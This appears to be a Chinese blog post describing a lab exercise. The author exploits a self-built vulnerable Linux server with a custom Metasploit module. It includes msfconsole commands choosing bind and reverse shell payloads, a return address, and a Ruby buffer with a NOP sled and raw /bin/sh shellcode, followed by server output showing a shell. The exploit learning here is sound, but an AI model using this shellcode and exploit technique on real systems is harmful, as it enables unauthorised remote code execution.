我们先尝试使用这个脚本进行攻击:

msf > use exploit/linux/myvictim
msf exploit(myvictim) > set payload linux/x86/
set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2
set payload linux/x86/metsvc_reverse_tcp
msf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp
payload => linux/x86/metsvc_bind_tcp
msf exploit(myvictim) > set rhost 10.10.10.133
rhost => 10.10.10.133
msf exploit(myvictim) > set rport
rport =>
msf exploit(myvictim) > exploit [*] Started bind handler
[*] Sending byte payload...
[*] Exploit completed, but no session was created.

server端显示:

bai@ubuntu:/mnt/hgfs/r/stack$ ./server
socket
bind
listen
server is run...
accept The IP of client is:10.10.10.128
The Port of client is:
close-new_fd
recv
accept
sp=0xbffff488,addr=0xbffff4a4 bytes.

显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题

我们一一修改:

'MyVictimSever run on linux',
{
'Platform' => 'Linux',
'Ret' => 0xbffff4a4
}

第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode

# Build the buffer for transmission
buf="";
buf  = make_nops(15);
buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh";
#buf+="\xa4\xf4\xff\xbf"
#buf += payload.encoded
buf += [].fill( target.ret,0,100).pack('V*')

尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。

然后运行

msf  exploit(myvictim) > rexploit
[*] Reloading module... [*] Started bind handler
[*] Sending byte payload... [*] Exploit completed, but no session was created.

注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。

可以看到server端:

The IP of client is:10.10.10.128
The Port of client is:
close-new_fd
accept
recv
sp=0xbffff488,addr=0xbffff4a4 bytes.
$ $

这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。

最新文章

  1. The Java Enum: A Singleton Pattern [reproduced]
  2. apache2.4设置外网访问问题
  3. Android中的依赖问题(五种依赖、eclipse、AS、添加第三方库、jar)
  4. Windows程序控件升级==>>构建布局良好的Windows程序
  5. slidingMenu有时候需要关闭侧边栏
  6. 类名.class与类名.this详解
  7. 三大框架SSH(struts2+spring+hibernate)整合时相关配置文件的模板
  8. 关于select元素的一些基本知识
  9. Android 初步
  10. dlmalloc 2.8.6 源代码具体解释(6)
  11. maven 阿里云仓库配置
  12. Java的一些良好习惯及细节------持续更新中...
  13. MongoDB十二种最有效的模式设计【转】
  14. 可遇不可求的Question之Mysql在不重启服务的情况下修改运行时变量篇
  15. flask保存 文件到本地
  16. acm
  17. Rpgmakermv(7) Chronus.js说明与简要翻译
  18. JS 相关记录(scrollTo,JSON)
  19. Kali2.0通过xrdp实现windows远程链接Linux
  20. Objective-C:三种文件导入的方式比较

热门文章

  1. Dynamic Web Project vs Static Web Project 以及 Project facets
  2. Java基础--ThreadLocal
  3. Excel开发学习笔记:新建文档级的excel解决方案
  4. rails表单控件helper
  5. PD中设置外键约束名称生成规则
  6. 第六章 Java性能调优工具(待续)
  7. python使用pyodbc连接sql server 2008
  8. python 继承进阶
  9. ASP.NET 页面生命中的关键事件的执行顺序
  10. Ubuntu16.04下同时安装Anaconda2与Anaconda3